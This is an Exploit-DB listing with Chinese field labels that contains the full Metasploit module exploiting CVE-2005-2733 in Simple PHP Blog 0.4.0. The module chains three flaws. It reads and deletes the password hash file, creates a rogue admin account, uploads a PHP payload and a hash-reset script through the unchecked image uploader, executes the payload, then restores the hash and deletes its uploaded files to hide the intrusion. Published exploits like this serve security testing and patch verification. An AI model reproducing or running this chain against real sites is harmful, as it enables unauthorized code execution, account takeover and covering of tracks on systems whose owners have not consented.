标题: Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit) EDB-ID: 16883 CVE: 2005-2733 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
   'Description'    => %q{
     This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
    application to upload arbitrary data and thus execute a shell. The first
    vulnerability exposes the hash file (password.txt) to unauthenticated users.
    The second vulnerability lies within the image upload system provided to
    logged-in users; there is no image validation function in the blogger to
    prevent an authenticated user from uploading any file type. The third
    vulnerability occurs within the blog comment functionality, allowing
    arbitrary files to be deleted.
   },
   'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     ['CVE', '2005-2733'],
     ['OSVDB', '19012'],
     ['BID', '14667'],
     ['URL', 'http://www.milw0rm.com/exploits/1191'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 1024,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Aug 25 2005',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
   ], self.class)
 end

 def check
  res = send_request_raw({
   'uri'     => datastore['URI'] + '/index.php'
  }, 25)

  if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

   ver = [ $1.to_i, $2.to_i, $3.to_i ]
   print_status("Simple PHP Blog #{ver.join('.')}")

   if (ver[0] == 0 and ver[1] < 5)
    if (ver[1] == 4 and ver[2] > 0)
     return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Vulnerable
   end
  end

  return Exploit::CheckCode::Safe
 end

 def retrieve_password_hash(file)

  res = send_request_raw({
   'uri'    => datastore['URI'] + file,
  }, 25)

  if (res and res.message == "OK" and res.body)
   print_status("Successfully retrieved hash: #{res.body}")
   return res.body
  else
   raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.")
   return false
  end
 end

 def create_new_password(user, pass)

  res = send_request_cgi({
   'uri'     => datastore['URI'] + '/install03_cgi.php',
   'method'  => 'POST',
   'data'    => "user=#{user}&pass=#{pass}",
  }, 25)

  if (res)
   print_status("Successfully created temporary account.")
  else
   print_error("Unable to create a temporary account!")
  end
 end

 def retrieve_session(user, pass)

  res = send_request_cgi({
   'uri'     => datastore['URI'] + "/login_cgi.php",
   'method'  => 'POST',
   'data'    => "user=#{user}&pass=#{pass}",
  }, 25)

  if (res)
   print_status("Successfully logged in as #{user}:#{pass}")

   if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
    session = $1
    print_status("Successfully retrieved cookie: #{session}")
    return session
   else
    print_error("Error retrieving cookie!")
   end
  else
   print_error("No response received while logging in.")
  end
 end

 def upload_page(session, dir, newpage, contents)

  boundary = rand_text_alphanumeric(6)

  data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
  data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
  data << contents
  data << "\r\n--#{boundary}--"

  res = send_request_raw({
   'uri'   => datastore['URI'] + "/upload_img_cgi.php",
   'method'  => 'POST',
   'data'    => data,
   'headers' =>
   {
    'Content-Type'  => 'multipart/form-data; boundary=' + boundary,
    'Content-Length' => data.length,
    'Cookie'  => "my_id=#{session}; PHPSESSID=#{session}",
   }
  }, 25)

  if (res)
   print_status("Successfully uploaded #{newpage}")
  else
   print_error("Error uploading #{newpage}")
  end
 end

 def reset_original_password(hash, scriptlocation)

  res = send_request_cgi({
   'uri'  => datastore['URI'] + scriptlocation,
   'method' => 'POST',
   'data'  => "hash=" + hash,
  }, 25)

  if (res)
   print_status("Successfully reset original password hash.")
  else
   print_error("Error resetting original password!")
  end
 end

 def delete_file(file)

  delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

  res = send_request_raw({
   'uri' => datastore['URI'] + delete_path,
  }, 25)

  if (res)
   print_status("Successfully removed #{file}")
  else
   print_error("Error removing #{file}!")
  end
 end

 def cmd_shell(cmdpath)
  print_status("Calling payload: #{cmdpath}")

  res = send_request_raw({
   'uri' => datastore['URI'] + cmdpath
  }, 25)

 end

 def exploit

  # Define the scripts to be uploaded to aid in exploitation
  cmd_php = '<?php ' + payload.encoded + '?>'

  reset_php = %Q|
  <?php $hash = $_POST['hash'];
  $fp = fopen("../config/password.txt","w");
  fwrite($fp,$hash);
  fpclose($fp);
  ?>|

  # Generate some random strings
  cmdscript = rand_text_alphanumeric(20) + '.php'
  resetscript = rand_text_alphanumeric(20) + '.php'
  newuser  = rand_text_alphanumeric(6)
  newpass  = rand_text_alphanumeric(6)

  # Static files
  directory  = '/images/'
  cmdpath  = directory + cmdscript
  resetpath  = directory + resetscript
  passwdfile  = '/config/password.txt'

  # Let's do this thing
  hash = retrieve_password_hash(passwdfile)
  delete_file(passwdfile)
  create_new_password(newuser, newpass)
  session = retrieve_session(newuser, newpass)
  upload_page(session, directory, resetscript, reset_php)
  upload_page(session, directory, cmdscript, cmd_php)
  reset_original_password(hash, resetpath)
  delete_file(resetpath)
  cmd_shell(cmdpath)
  delete_file(cmdpath)
 end
end URL: https://www.exploit-db.com/exploits/16883